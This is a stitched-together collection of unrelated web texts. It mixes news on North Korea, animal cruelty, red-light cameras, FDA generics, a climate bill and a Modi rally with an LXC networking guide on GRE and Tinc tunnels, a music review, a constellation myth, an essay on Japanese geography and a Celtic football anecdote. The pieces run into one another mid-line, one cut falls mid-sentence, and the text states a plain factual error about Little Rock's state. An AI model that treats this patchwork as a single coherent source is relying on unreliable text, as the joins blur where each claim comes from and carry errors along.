With that in mind, Friday's signing of a mutual defense treaty between the US and South Korea obligating the US military to defend South Korea if a war breaks out on the Korean Peninsula, will likely see some response from the North, say analysts.
Prison camps, forced disappearances, restrictions
Though Amnesty International has not had direct access to North Korea since 1995, the group's research has been conducted via interviews with North Koreans who have fled the country and a few who remain inside, as well as extensive satellite imagery, Narayan explains.
“There was some expectation that things might improve with the new leader,” he adds, referring to hopes that Kim Jong-un would begin opening up the North since taking power. But according to Amnesty International's research, prison camps are expanding and the forced disappearances and restrictions of movement, expression, and political organization are ongoing.
The United Nations Human Rights Council voted last week in favor of a resolution to establish a commission concerning the human rights situation in North Korea. The vote sends a strong signal to Pyongyang and, many analysts say, could lead to greater access within the country for human rights monitors and journalists.
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Will it have an effect on the North?
“We don’t dance to the international community’s song,” says Cao de Benós. “We dance to our own.”MIDDLETOWN, Ohio -- Butler County sheriff's deputies are searching for a man they say burned a cat alive using lighter fluid.
Sheriff Richard Jones says a warrant for cruelty to animals, a fifth-degree felony, has been issued for Kevin L. Sullivan, 32, of Middletown.
The incident occurred on Sept. 19. The cat was so badly injured that an officer with the Middletown Police Department shot it to put it out of its misery, Jones says.
Jones does not say how officials were notified about the cat being harmed, but says Sullivan initially lied about his involvement.
"This is absolutely disturbing and this guy definitely needs to be off the streets," Jones says in a news release. "I don't understand people who harm or torture a defenseless animal, it is a very cowardly thing to do."
Butler County is located just north of Cincinnati.
If you'd like to comment on this story, visit Wednesday's crime and courts comments section.The city has again extended the contract of the city’s beleaguered but longtime red-light camera vendor, RedFlex Traffic Systems, for another three months.
This is the third time the contract has been extended and comes as Redflex’s current contract is set to end on January 31st while a new vendor, Xerox Local Solutions, is working to take over complete control of the cameras.
“It’s being extended for three months,” city spokesman Bill McCaffrey said. “They’re confident and we’re confident they will complete the transition by the end of this extension. They’re doing things as quickly as they can but we want to make sure things are done correctly.”
So far Xerox has control of 229 of the city’s 352 red light cameras.
Under city agreements, Redflex will continue to get paid for cameras they operate until Xerox moves them over to their system. As an incentive to move as quickly as possible, Xerox can only generate revenue when a camera is brought over under their management.
Read more at DNA Info Chicago.
Share on FacebookCongress hasn't made any progress on drug pricing legislation, but that hasn't stopped the government from acting. Now, FDA Commissioner Scott Gottlieb has unveiled yet another move to step up competition in the generics business.
After previously announcing several strategies to bring copycat drugs to market more quickly, Gottlieb now says the agency will prioritize applications for generics that could launch immediately after a first-to-market copy loses its 180-day exclusivity.
Though the first generic tends to be cheaper than the brand, the real pricing relief comes after multiple copies launch. Under generic approval rules, the first company to file for FDA approval gets a 180-day lock on the market, and that means the pricing battle waits till that period expires. Gottlieb wants to make sure the competition doesn't wait further, by lining up other copies for approval.
RELATED: The top 10 generic drugmakers by 2016 revenue
The news comes after the FDA earlier this year unveiled its Drug Competition Action Plan. Back in May, Gottlieb said the FDA would publish and regularly update a list of medications that are off patent and have no competition, work to improve generic review times and seek to “curtail gaming” of regulations by the industry that allow companies to extend monopolies.
All of those moves, Gottlieb has said, could help to tackle high medicine prices. And the effort is showing: so far this year, the FDA has approved a record number of generic drugs, according to Regulatory Focus, topping a previous record set last year.
RELATED: New FDA commissioner Gottlieb unveils price-fighting strategiesNATURE’s two-part special Dogs That Changed the World tells the epic story of the wolf’s evolution, how “man’s best friend” changed human society and how we in turn have radically transformed dogs.
From the tiniest Chihuahua to the powerful and massive English Mastiff, modern domesticated dogs come in a bewildering array of shapes and sizes, with an equally diverse range of temperaments and behaviors. And yet, according to genetics, all dogs evolved from the savage and wild wolf — in a transformation that occurred just 15,000 years ago.
Part One: The Rise of the Dog
Learn how the domestication of dogs might have taken place, including the theory of biologist Raymond Coppinger that it was the animals themselves — and human trash — that inspired the transformation. The genetic analysis of Peter Savolainen of the Royal Institute of Technology in Sweden has placed the origins of domesticated dogs — and those of the first dog — in East Asia. You’ll also discover 14 dog breeds that controversial genetic studies show are the most ancient — and the best living representatives of the ancestors to all living dogs.
Preview Part Two: Dogs by Design
Over 400 breeds of dog are recognized around the world, each unique for its personality, habits, and form. Most of these breeds exploded onto the scene over the past 150 years, spurred by the Victorian-era passion for the “dog fancy” — the selective breeding of dogs to enhance particular characteristics. By tinkering with its genetics, humans made the dog the most varied animal species on the planet — and also created a host of hereditary health problems.
Despite the plethora of new shapes and sizes, dogs have retained the instincts bred into their ancestors by thousands of years of work: the urge to herd or hunt, to dig and to guard. In Part Two, “Dogs by Design,” you’ll discover how these hard-wired behaviors help different types of dogs, from hounds to herders, excel at different tasks (and why it can sometimes be so difficult to train them to do otherwise). You’ll also learn how dogs’ finely tuned senses are serving humans and saving lives.Unfortunately, it’s very common to assume that when women are stressed they are more emotional or that they rely more heavily on intuition or hunches. (If you agree with this notion, spoiler alert - you are wrong…. LOL) Then you’re probably going to rely more heavily on men, not women, in high pressure, high risk situations. I guess I don’t have to point out that cyber security, and incident response in particular, is full of high pressure, high risk decisions – and you may want to dig a little deeper to get the right person for the job.
The research shows that women are just as data-driven and analytical as men in decision making. In fact, in high pressure situations they are often even more analytical than men. In a sample of 32 studies that looked at how men and women thought about a problem or made a decision, 12 found that women adopted an analytical approach more often than men.
It’s counter intuitive to our cultural conditioning, but the research shows that women systematically turned to the data while men were more inclined to go with their gut, hunches, or intuitive reactions. The other 20 studies found no difference between men and women’s thinking styles. None of these studies found that women tended to be more intuitive than men in their decision-making styles.
The men reading this article probably find this hard to believe. Well, here’s more detail on this research. Mara Mather, a neuroscientist at the University of Southern California, and Ruud van den Bos, a neurobiologist at Radboud University in the Netherlands, both found that men under stress are more eager to take risks. They’ve found that men tend to become laser-focused on rewards when cortisol levels run high, even if that reward has only a tiny chance of materializing. When the pressure is on and there’s a small chance of a highly rewarding outcome, men are more inclined to gamble.
In contrast, when you put women in the same stressful situation that bumps up their cortisol levels and ask them to make the same decision, they behave differently. Mather and van den Bos found when women’s bodies were undergoing a strong stress reaction, they took more time weighing the contingencies. Instead of becoming emotional or acting on hunches, become analytical and risk-aware!
This research doesn’t mean that one strategy is necessarily better than another. And we can’t necessarily translate lab-based research into practical application in day to day business operations. However, I do think this research raises some interesting questions about the unique strengths women can offer in technology teams and cyber security specifically.
At a minimum, this research offers a very valid reason to set specific, measurable goals around building diverse teams that include both men and women. Especially when high-risk decisions are being made, we need both genders in the room because these two approaches balance one another and the resulting decision will be stronger because it incorporates different approaches.
Remember – we are all in this together!
Cheers! Tammy
This article is published as part of the IDG Contributor Network. Want to Join?Microsoft has -- for the moment at least -- stopped updating its official Windows market share page, which means if you want to see how well the various flavors of Windows are doing, you have three options. StatCounter’s latest update shows Windows 10 closing in on Windows 7, while NetMarketShare’s figures have the new OS still a long way off reaching that milestone.
The third option is Steam’s monthly user survey, which shows the state of things from the gamers’ perspective. Usually Windows 10 is by far the most popular OS but in October its share tumbled, while Windows 7’s shot up. A mistake surely? But no, it seems to be correct.
SEE ALSO:
The latest stats from Steam show Windows 10 shedding a massive 17.38 percentage points, to give it 28.6 percent share. (The 64-bit version accounts for 28.23 percent, and the 32-bit version adds a tiny 0.37 percent).
Meanwhile, Windows 7 has gained a whopping 21.47 percentage points in the same month, climbing to 65.46 percent (63.60 percent for the 64-bit build, and 1.86 percent for the 32-bit edition).
You could be forgiven for thinking that Steam has made a mistake here, or that gamers are turning their backs on Windows 10 in huge numbers, but it seems likely that at least a sizable portion of the change can be attributed to China's influence.
According to the Language section of Steam’s survey, Simplified Chinese surged 26.83 percentage points to 56.37 percent in October, while English fell 13.40 percentage points to 21.24 percent. It seems reasonable, therefore, to assume that Chinese gamers running Windows 7 are responsible for much of the shift we’re seeing here. There's no official word from Steam on this yet.
It will be interesting to see what next month’s figures show, and whether this is a blip, or part of a larger trend.
Image Credit: Kiselev Andrey Valerevich/ShutterstockHouse Energy and Commerce Committee Chairman Henry Waxman (D-CA) and Rep. Ed Markey (D-MA) are rolling out their proposal to cut carbon emissions today, and early leaks of the plan suggest that the duo is prepared to ensure that the Obama administration is not the most liberal player in the climate change debate.
Waxman and Markey’s bill will set targets of a 20% reduction in emissions by 2020, compared with Obama’s proposed 15% cut, and an 83% reduction by 2050, a more ambitious goal than Obama’s planned 80% trimming. This is more than just a numbers game: By moving the goalposts further left than the White House, the two House Democrats set the stage for a meaningful compromise on climate change … but can it happen this year?It’s a decidedly open question, particularly as health care reform moves on the budget-reconciliation fast track and the mainstream media (falsely) depicts Congress as facing an either-or choice between legislating on health and legislating on emissions.
Senate Republicans are already gearing up to ensure that climate change stalls on their end of the Capitol this year. Two GOP amendments to the Senate budget, slated for debate today, would prohibit Democrats from using reconciliation to cap carbon emissions and bar any climate change bill that resulted in an electricity or gas price hike for consumers.
(For a closer look at some of the forces dedicating to keeping the skies clogged with carbon emissions, check out TPM’s new slideshow of notable climate change deniers.)
If Waxman and Markey’s bill doesn’t succeed in pushing climate change over the finish line this year, however, Congress may find itself cut out of the debate entirely. The Environmental Protection Agency is laying the groundwork to give the White House regulatory authority to limit emissions under the Clean Air Act — thus giving President Obama the option of sidestepping congressional inaction, if he decides to use that stick.
Late Update: Here’s early reaction to the Waxman-Markey plan from Joe Mendelson, global warming policy director at the National Wildlife Federation:LXC advanced networking guide - Connecting LXC containers across hosts with L3 overlays
LXC containers, like KVM and other virtual machine systems, provides a number of networking options from NAT, bridged mode to assigning static IPs. We cover this in the LXC networking guide In this article we are going to look at options for multi host connectivity. For those who already connect multiple VM hosts it's the same for LXC containers, there are no special requirements. Containers behave like VMs, and you can continue to use those options. Typically in your own network, connecting multiple LXC or VM hosts is easily done by bridging VMs/containers network directly to the LXC hosts physical network connected to a router/switch. This way all containers are on the same network. The network can be managed at a higher level than the LXC/VM hosts, and it handles IPs, DHCP, subnets and inter host connectivity. Alternatively if LXC hosts are on the same network you can also simply add a route if you do not wish to bridge the containers to the Host network. But for this to work the LXC subnets ie 10.0.3.0/24 on each LXC host must be different. For instance if LXC Host 1 is IP 192.168.1.2 and LXC Host 2 is IP 192.168.1.3, containers on Host 2 can be changed to operate on subnet 10.0.4.0/24. Then the containers across the 2 hosts can access each other by a simple routing rule on each host. On Host 1
ip route add 10.0.4.0/24 via 192.168.1.3 On Host 2
ip route add 10.0.3.0/24 via 192.168.1.2 Now containers on both Hosts 1 and 2 should be able to ping each other. Connecting multiple LXC hosts in the cloud A lot of users in the cloud may not have the same freedom or choice. Users may have dedicated servers or KVM instances with little control of the networking layer. How do you connect LXC containers across multiple LXC hosts? Here we are going to look at 4 ways to create a private network of LXC hosts across networks in the cloud. GRE tunnel
This is the simplest solution. A GRE tunnel connects 2 LXC hosts and lets containers on both sides connect to each other. You can build multiple GRE tunnels to connect more hosts. Tinc VPN
Tinc is a fantastic little program to create private networks. We will use Tinc to let containers on both sides talk to each other. The improvement over a plain jane GRE tunnel is Tinc provides an encrypted connection. Tinc is a bit special and among the Internet's best kept secrets. It's a wonderful tool to create distributed private mesh networks with tremendous flexibility. Unlike other VPN solutions Tinc is not a hub and spoke model with single choke or failure points. And we are just scratching the surface here. Tinc affirms the old adage; simplicity works, simplicity scales. Tinc container to container connection
We use Tinc to connect 2 containers behind NAT networks across the Internet. This is unique because both containers are behind a NAT and we try not to touch the host networking too much. This is a mesh network enabled in the containers networking space and the only setting on the host is a single port forward of tcp/udp port 655 on one of the hosts, to a container. In this scenario containers will have 2 IPs, the container's basic lxcbr0 NAT network and the Tinc vpn network Open vSwitch (OVS) bridges connected by GRE tunnels
LXC supports multiple virtual network cards. You can create a new bridge interface and create a second network for your LXC containers. You can create a second OVS bridge on LXC hosts and connect the bridges with GRE tunnels. We are going to a link to a guide by Serge Hallyn, LXC lead developer and another by Scott Lowe. OVS is what the networking gurus uses to build networks with things like openflow, vxlan and other fancy functionality. Open vSwitch is a major component of the Openstack networking layer. Option 1,2,3 are easier to setup and use but for more advanced functionality OVS is a great choice.
A GRE tunnel is a simple point to point IP tunnel connecting 2 public IPs and networks. But it's not encrypted. For private networks across the public Internet, encryption is often standard but if your traffic does not have high security requirements a GRE tunnel is a simple just works solution. Setting it up
Connecting 2 LXC hosts with a GRE tunnel will enable your LXC containers to access each other. LXC containers will be using their default NAT bridge lxcbr0. We are going to change the subnet provided by lxcbr0 on one side which is normally 10.0.3.0/24 to 10.0.4.0/24 so there is no clash of IPs on either side and we can route both ways. So here is the network map. We are going to call our GRE tunnel 'neta' on Host A and 'netb' on Host B (You can call this anything you want) Host A has public IP 1.2.3.4 Host B has public IP 2.3.4.5 Containers in Host A are on subnet 10.0.4.0/24 via default lxcbr0 nat bridge Containers in Host B are on subnet 10.0.3.0/24 via default lxcbr0 nat bridge Change the subnet on Host A
To change the subnet edit the /etc/init.d/lxc-net script. Change the subnet entries from 10.0.3.0/24 to 10.0.4.0/24. Create the GRE tunnel on Host A and B
ip tunnel add neta mode gre remote 2.3.4.5 local 1.2.3.4 ttl 255
ip tunnel add netb mode gre remote 1.2.3.4 local 2.3.4.5 ttl 255 On Host A ip link set neta up ip addr add 10.0.4.254 neta ip route add 10.0.3.0/24 dev neta On Host B ip link set netb up ip addr add 10.0.3.254 netb ip route add 10.0.4.0/24 dev netb Congratulations! You spanking new GRE tunnel is up and your containers on both sides can ping each other. You can do a traceroute and you will notice the IP address we added to the tunnel on each side 10.0.3/4.254 is being used as the gateway to reach either side. This is a random link IP, you can use anything 10.0.0.1/2 for instance. To remove the tunnel ip link set netb down ip tunnel del netb
Tinc is more secure than a GRE tunnel as connections are encrypted. Tinc also gives you the ability to built a distributed mesh network. We are not covering Tinc's extensive capabilities here, please visit tinc-vpn.org For the networking gurus Tinc can operate as a router in layer 3 or a switch in layer 2 mode, for this example we are using Tinc in its default router mode. To avoid container IP clash we are going to change the default lxcbr0 subnet 10.0.3.0/24 on one side, let's do it on Host A Change the subnet on Host A
Edit the /etc/init.d/lxc-net script to change the LXC subnet on lxcbr0 NAT network from 10.0.3.0/24 to 10.0.4.0/24. Before doing this stop containers on Host A, stop the lxc-net service, make the change and then restart the lxc-net service. service lxc-net stop Edit the lxc-net script service lxc-net start So here is the network map. Host A has public IP 1.2.3.4 Host B has public IP 2.3.4.5 Containers in Host A are on subnet 10.0.4.0/24 via default lxcbr0 nat bridge Containers in Host B are on subnet 10.0.3.0/24 via default lxcbr0 nat bridge We are going to use 10.0.0.1 and 10.0.0.2 as the interface IPs for Tinc. Install Tinc on both Host A and B apt-get install tinc Tinc operates on a concept of network names for the private VPN. Let's call our network 'flockport'. In /etc/tinc/ on both Host A and Host B create a folder called 'flockport' and do the following. mkdir /etc/tinc/flockport This will hold our configuration for this network. Create a 'hosts' folder in the flockport folder mkdir /etc/tinc/flockport/hosts Create the following files in the flockport folder - tinc.conf, tinc-up, tinc-down touch tinc.conf tinc-up tinc-down Configure Tinc on Host A nano /etc/tinc/flockport/tinc.conf Name = hosta (You can use any name for your hosts) AddressFamily = ipv4 Interface = tun0 nano tinc-up #!/bin/bash ifconfig $interface 10.0.0.1 netmask 255.255.255.0 ip route add 10.0.3.0/24 dev $INTERFACE nano tinc-down #!/bin/bash ifconfig $INTERFACE down ip route del 10.0.3.0/24 dev $INTERFACE nano /etc/tinc/flockport/hosts/hosta Address 1.2.3.4 Subnet 10.0.4.0/24 Configure Tinc on Host B nano /etc/tinc/flockport/tinc.conf Name = hostb AddressFamily = ipv4 Interface = tun0 ConnectTo = hosta nano tinc-up #!/bin/bash ifconfig $interface 10.0.0.2 netmask 255.255.255.0 ip route add 10.0.4.0/24 dev $INTERFACE nano tinc-down #!/bin/bash ifconfig $INTERFACE down ip route del 10.0.4.0/24 dev $INTERFACE nano /etc/tinc/flockport/hosts/hostb Subnet 10.0.3.0/24 Generate keys on both Host A and Host B tincd -n flockport -K This will generate private key files in the flockport folder and append public keys to the host files /etc/tinc/flockport/hosts/xxx Exchange host files on either side
Copy the hosts file with the public keys from /etc/tinc/flockport/hosts/xxx on host A to the hosts folder n Host B and vice versa. So now your /etc/tinc/flockport/hosts folder on Host A and Host B should have both 'hosta' and 'hostb' files in them The moment of truth! Run the tincd command on both Host A and Host B tincd -n flockport If you followed the guide accurately your containers on both Host A and B should now be able to ping each other To ensure the Tinc private network starts on reboot edit the /etc/tinc/nets.boot file on Host A and B and add the network name ie in this case flockport. This ensures that the Tinc network startup on boot and is available. You can easily add more LXC hosts to the network. Tinc has a number of options on optimizing connectivity - compression etc, and choosing the security cipher. Please visit the Tinc website and go through the documentation for more options.
This is unique as we are going to connect 2 (or more) containers behind a NAT network with Tinc. With this config we try not to touch the host networking layer too much. This is a mesh network enabled in containers networking space and the only setting on the host is a single port forward of tcp/udp 655 on one of the hosts, to a container. In this scenario containers will have 2 IPs, the containers basic lxcbr0 NAT network and the Tinc vpn network The setup is the same as setting up the Tinc LXC network in option 2, only in this case we are going to do it in the containers. Choose 2 random containers from Host A and Host B, let's call them 'debian' from Host A and 'ubuntu' from Host B for this guide. Installing Tinc in containers need the tun device to be available. So lets create a tun device on both containers first. Default LXC configurations allow the creation of tun devices in containers. Please ensure you are using default lxc templates for this guide. mkdir /dev/net mknod /dev/net/tun c 10 200 chmod 666 /dev/net/tun With the devices create on both containers we are ready to proceed. This the network map. Host A has public IP 1.2.3.4 Host B has public IP 2.3.4.5 Containers in Host A are on subnet 10.0.3.0/24 via default lxcbr0 nat bridge Containers in Host B are on subnet 10.0.3.0/24 via default lxcbr0 nat bridge Debian container is IP 10.0.3.4 Ubuntu container is IP 10.0.3.26 We should put them on different subnets to avoid ip conflicts and facilitate routing but we are building an overlay mesh network and containers will have 2 sets of IPs and actually be available on the network on the subnet 10.0.0.0/24 We are going to use 10.0.0.1 and 10.0.0.2 as the interface IPs for Tinc network Install Tinc on both Host A and B apt-get install tinc Tinc operates on a concept of network names for the private VPN. Let's call our network 'flockport'.
In /etc/tinc/ on both debian and ubuntu containers create a folder called 'flockport' and do the following. mkdir /etc/tinc/flockport This will hold our configuration for this network. Create a 'hosts' folder in the flockport folder mkdir /etc/tinc/flockport/hosts Create the following files in the flockport folder - tinc.conf, tinc-up, tinc-down touch tinc.conf tinc-up tinc-down Configure Tinc on debian container
nano tinc.conf Name = debian (You can use any name) AddressFamily = ipv4 Interface = tun0 nano tinc-up #!/bin/bash ifconfig $interface 10.0.0.1 netmask 255.255.255.0 nano tinc-down #!/bin/bash ifconfig $INTERFACE down nano /etc/tinc/flockport/hosts/debian Address 1.2.3.4 Subnet 10.0.0.1 Configure Tinc on ubuntu container nano /etc/tinc/flockport/tinc.conf Name = ubuntu AddressFamily = ipv4 Interface = tun0 ConnectTo = debian nano tinc-up #!/bin/bash ifconfig $interface 10.0.0.2 netmask 255.255.255.0 nano tinc-down #!/bin/bash ifconfig $INTERFACE down nano /etc/tinc/flockport/hosts/hostb Subnet 10.0.0.2 Generate keys on both Host A and Host B tincd -n flockport -K This will generate a private key in the flockport folder and append a public key to the host file /etc/tinc/flockport/hosts/xxx Exchange host files on either container
Copy the hosts file with the public keys from /etc/tinc/flockport/hosts/xxx on debian to the hosts folder in ubuntu and vice versa. So now your /etc/tinc/flockport/hosts folder on debian and ubuntu should have both 'debian' and 'ubuntu' files in them Since we are in containers how is tinc in ubuntu going to connect to tinc in debian, both behind nat networks? Tinc uses udp/tcp port 655, so we are going to port forward 655 udp and tcp on Debian's host which is Host A public ip 1.2.3.4. This is the ONLY network state we are putting on the host in this configuration. iptables -t nat -I PREROUTING -i eth0 -p TCP -d 1.2.3.4/32 --dport 655 -j DNAT --to-destination 10.0.3.4:655
iptables -t nat -I PREROUTING -i eth0 -p UDP -d 1.2.3.4/32 --dport 655 -j DNAT --to-destination 10.0.3.4:655 The moment of truth! Run the tincd command on both debian and ubuntu containers tincd -n flockport If you followed the guide accurately debian and ubuntu containers should now be able to ping each other. Add more containers to the network
To add more containers to this network, follow the same process, lets say you want to add container C 'debclone' from Host A to the vpn network. Let's assign a Tinc network IP 10.0.0.3 to debclone and in the tinc.conf for debclone. All the steps remain the same, only add the config below. Since Container C is on Host A we are using the ConnectTo setting to connect to the Debian container. For a container on Host B we would use this setting to connect to the ubuntu container. ConnectTo = debian And in the host file of the Debian container in debclone add the debian container NAT address Address = 10.0.3.4 Copy the debclone host file to the debian and ubuntu containers and vice versa to debclone. At this point you have added debclone to the network and debian, ubuntu and debclone will be able to ping each other. To ensure the TINC private network starts on reboot edit the /etc/tinc/nets.boot file on Host A and B and add the network name ie in this case flockport. This ensures that the tinc network starts up on boot and is available. Follow the same process to add more containers from other hosts to the Tinc mesh. Tinc has a number of options to optimize connectivity - compression etc, and choosing the security cipher. Please visit the Tinc website for more options. With Tinc and GRE tunnels you create layer 3 overlay networks. You can also use IPSEC tunnels to create layer 3 overlays, and since IPSEC is in kernel space it could be more efficient. See our IPSEC guides below. Connect LXC hosts with IPSEC VPNs Connect LXC containers across hosts with IPSEC VPNs You can also create layer 2 overlay networks as we show in the guide below. LXC extending layer 2 across hostsYouTube Channel (Amy Lee)
Amy Lee
For those of you who are not familiar with Evanescence, a American rock band from Little Rock, Kansas, Amy Lee is their amazing lead singer and can reach breathtaking heights with her professional and profound vocals, with ease.
“Spent my days with a woman unkind, Smoked my stuff and drank all my wine. Made up my mind to make a new start, Going To California with an aching in my heart…” You may also like… Advertisement
Singing Led Zeppelin’s “Going To California,” Amy Lee is absolutely beyond “on-point” in this intimate and powerful rendition of Robert Plant’s genius class. Presented in black and white, with a few simple shots of a recording studio and a backyard area, Amy annihilates the complex tones and range in this unforgettable song about a man trying to escape the clutches of a devious and conniving woman.
Interesting Fact: When Page, along with Led Zeppelin’s manager and an engineer flew to Los Angeles to mix the track, there was an earthquake near San Diego.
Her singing is always soulful and powerful. She knows when to hold back and let go – and that made her cover more beautiful. When you hear how she sounds when she goes all-out, you’ll appreciate her control more. Covering anything with Robert Plant’s vocals on it is no mean feat and Amy definitely nailed it.
“When you’re somewhere between seventeen and twenty-four you think, “I can do anything” and there’s something beautiful about that fearlessness because you have the confidence to just try stuff but also you look back and realise how much danger you were in sometimes.” – Amy Lee
Whether you enjoy the dark, deep, dense tones of Evanescence or not, there is no denying that this chick has pipes and seriously does this song justice with a subtle beauty that is ironically hard to miss. Enjoy this stunning rendition of one of the greatest Led Zeppelin songs of all time.The Mythology of Cancer
In most myths, Cancer was identified by the giant crab that Hercules (Greek mythology) stepped on and killed while fighting the Hydra. Never was there a more pathetic character in all of mythology. The crab literally pinches Hercules' toe, to which Hercules just crushes him, and that's the end of that. Supposedly the Greek goddess Hera felt bad and put him in the sky.
Sad.
And quite frankly, not a very good story. Luckily, I was able to find a rare but different version. Here we get a brand new look, and honestly, a much better explanation behind the mythology of Cancer.
According to the this myth, a giant crab named Crios guarded the sea nymphs in the Greek god Poseidon's kingdom. He was enormous and strong, and Poseidon himself had blessed him with immortality.
When the god of monsters Typhon (Greek mythology) terrorized the gods of Olympus, Poseidon, along with most of the other gods, went into hiding. He left Crios in charge of protecting the sea nymphs, who were considered to be Poseidon's daughters. The crab took his role as protector very seriously, and wouldn't let any of the sea nymphs outside of his reach. After a while, some of the sea nymphs became restless, and convinced that they were in no danger from Typhon, escaped into the open sea.
Crios could not chase them as he was charged with protecting the other sea nymphs, so he enlisted the help of the giant squid, Vamari. Little did he know that Vamari (whose name translates to "Vampire Squid") had ill intentions, and when he caught up to the sea nymphs, he devoured them.
When Vamari returned to Crios, he told the crab that despite a valiant effort, he could not find any of the missing sea nymphs. Crios knew that he was lying and attacked him. They battled for hours until the crab finally won. But he had sustained such bad injuries that he was terribly crippled from that time forward. Since he was immortal, though, he could not die, but had to live in pain.
When Poseidon returned he saw the bravery that the crab had shown and relieved him of his pain, but not his immortality, by placing him in the sky as the constellation Cancer.
Return from Mythology of Cancer to the Constellation Myths page.Narendra Modi speaks ahead of the Indian parliamentary elections rally in Allahabad on Sunday, May 4, 2014.
Narendra Modi has asked the rival Congress not to get into a bind over his future, once again comparing his modest origins as a "tea-boy" with the political dynasty of the Gandhis, whose citadel, Amethi, he stormed with a massive rally today.In a speech where he also asserted that his party would form the next government, the BJP's prime ministerial candidate said, "People in the Congress ask where will Modi go if he loses? Don't worry, I have my kettle ready to make tea... do you need to loot people to make ends meet?" The capacity crowd in Gauriganj in Rahul Gandhi's Lok Sabha constituency roared in support.Mr Modi has, in this protracted campaign season for the general election, neatly turned an attack earlier this year by Congress leader Mani Shankar Aiyar on its head, seeking to highlight that he sold tea on trains as a young boy as opposed to the privileged upbringing that his main political rival, 43-year-old Rahul Gandhi enjoyed."Is it wrong to be born poor? Is it wrong to earn an honourable livelihood by selling tea? I'm being vilified because I am not part of your world," Mr Modi said in Amethi, also adding, "Acchey din aane wale hain, ab gareeb ke bachche aane wale hain (good times are in the offing, the children of poor people will rule the country)." More applause followed from his boisterous audience.The four |
the volcanic front, parallel to the ocean trenches. Thus, in general terms, the topography of Japan is characterized by a series of mountain ranges running longitudinally across the country. The volcanic front associated with the present mountain building process extends along the line of the Japan Sea coast, on the so-called ‘back-side’ of Japan.
About 80 percent of the land in Japan is considered ‘mountainous’. Although not particularly high, the hills and mountains of the Japanese interior are steep and are not, therefore, considered habitable or suitable for cultivation. The young rocks are eroded by many short, steep and fast-flowing streams and rivers, the longest of which tend to flow towards the Pacific Ocean. The largest plains are thus found along the Pacific coast, where eroded material is deposited as alluvium. With such a shortage of habitable living space and cultivable land, it is only natural that the largest plains, such as the Kanto Plain (Tokyo), should have the largest concentrations of population and industrial activity. With as many as 40 million people living in the Kanto region, however, representing one-third of the total population, it is no wonder that the human landscape appears so over-crowded in some parts of Japan, yet under-populated in others.
Japan is often described as a country lacking sufficient natural resources. This is true insofar as Japan is heavily dependent on the import of such commodities as oil, iron ore, and bauxite to keep her economy fueled, but hides the fact that there are many resources with which Japan is well endowed, and the exploitation of which has played a significant role in shaping the Japanese landscape.
Perhaps the most obvious landscape feature is the great extent to which Japan’s mountainous area is covered by forest. Species indigenous to Japan range from sub-tropical broad leaf evergreens in the south through temperate deciduous trees to sub-arctic needle leaf conifers in the north. Few areas of primary vegetation remain, however, because the Japanese have for centuries exploited their forest resources for fuel, building materials, and the manufacture of various items including paper. Even as late as 1960 eight percent of Japan’s total energy requirement was provided by firewood and charcoal, while virtually all homes were constructed of timber. Many villages in remote mountain districts depended almost entirely on forestry for their livelihoods, despite the difficulties brought about by the severe overcutting during the Pacific War. Most foresters cultivated small plots of deciduous trees, this being the most appropriate material for firewood and charcoal production, and for other items such as mine props and railway sleepers.
After 1960, however, demand for these items declined dramatically and foresters had to switch to cultivation of conifers, notably Japanese cedar and cypress, to meet the growing demand for construction materials and wood pulp. Although much faster growing than deciduous trees, it takes between 45 and 50 years for these conifers to reach maturity. While the mountain landscapes of Japan have been completely transformed by this switch, many mountain villages have suffered decline or complete abandonment during the period it takes for these trees to mature and Japan has become increasingly reliant on imported timber to meet domestic demand. By the early 1990s, barely 30 percent of Japan’s demand for timber products was produced locally.
Another industry with a centuries-old tradition is fishing. Japan lies at the juncture of two major ocean currents – the warm Kuroshio and the cold Oyashio – which provides a rich feeding and breeding ground for many species of fish. Fishermen operating from ports distributed throughout the country have exploited this to the extent that Japan is now one of the leading fishing nations in the world, landing over 14 million tonnes annually. Although much of this is exported, the huge domestic demand for fish is reflected in the large numbers of seafood restaurants found in every Japanese city.
Inland waters provide another important resource. Farmers depend on the annual rains in late spring to flood the paddy fields for rice transplanting, and industrialists depend on the extraction of huge quantities of underground water for cooling purposes. Unfortunately, over extraction in recent decades has led to problems of land subsidence, causing damage to property and greatly increasing the risk of flooding. The fast flowing rivers of Japan are also used for hydro-electric power generation which presently provides about ten percent of the total energy requirement. In 1950, coal was the most important fuel for power generation and other energy needs. This was mined in northern Kyushu and in Hokkaido and it was the existence of these coalfields which attracted the first iron and steel works in Japan to be established nearby, at Yawata (1904) and Muroran respectively. However, the coal is of relatively poor quality and is difficult and expensive to mine. After 1950, therefore, Japan switched to imported oil as the main source of energy, and this continues to provide 75 per cent of the total energy requirement, although other sources of energy are being sought.
More than half the minerals with industrial uses are found in Japan. Unfortunately most occur in quantities too small, or are of insufficient quality to meet Japan’s needs. Japan is therefore heavily dependent on imported minerals for her industrial requirements, the most important example being iron ore. The impact of a high degree of dependency on these basic raw materials on the landscape is considerable. It means, necessarily, that Japanese heavy industry should have a coastal location with good access to deep water port facilities. This has resulted in the destruction of much of Japan’s natural coastline, and given rise to problems concerning pollution.
The forces shaping the Japanese landscape are many and varied and include natural as well as man-induced elements. With a total population of some 124 million living on the Japanese isles, the real challenge is to achieve and maintain a balance between these forces in future.Celtic invited to play Real Madrid to honour legendary player Alfredo Di Stefano. On return from Lisbon on the Friday 26th the players were given time off till 1st June to then report back to Celtic Park to start training for this Testimonial. The party of 15 left for Madrid on the 6th June. One person who did not go was Joe McBride who was in training to be fit for the start of the next season.
Celtic win the Alfredo Di Stefano Trophy
Real play in blue shorts to avoid a clash of colours.
The great Di Stefano only played for the first 14 minutes. This was his last ever game and he left to take up management of the Spanish club Elche FC.
Bertie Auld was sent off with Amancio of Real Madrid after exchanging punches.
Spanish newspaper 'Marca' stated - 'May the football which Celtic play stay among us Spanish style. Amen.'
In the Middle East after two weeks of tension between Egyptian and Israeli forces full scale war broke out in what would become to be known as the 'Six Day War'.
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Lennox on 1967, Lisbon and Di Stefano's testimonial
1) Anecdote
Jock wanted this game won as Real Madrid were still the power and if they beat Celtic they would argue Celtic winning in Lisbon was just one of those "flukes" - Jock was also cute enough to change the team with John Fallon and Willie O'Neill playing so that if Real won they couldn't say they beat the Lisbon Lions.
Bertie's version on Amancio - Jock told him to keep a grip of Amancio and nullify him as he was the one who would control things - The Wee Man and Amancio went at it and both were sent off early doors - Bertie gallus as feck as he is admits he was bricking it going back to the dug out having been sent off in the Di Stefano's Testimonial - He could see Jock was fuming and as he went into the dug out so Bertie said "Job done Boss" and even Jock cracked with laughter.
Bertie's other line on this game "I had a cracking view of that game"
Articles
